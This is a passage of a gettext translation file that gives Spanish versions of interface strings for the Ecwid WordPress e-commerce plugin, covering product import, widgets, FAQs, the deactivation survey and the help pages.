templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" #: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr "Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: 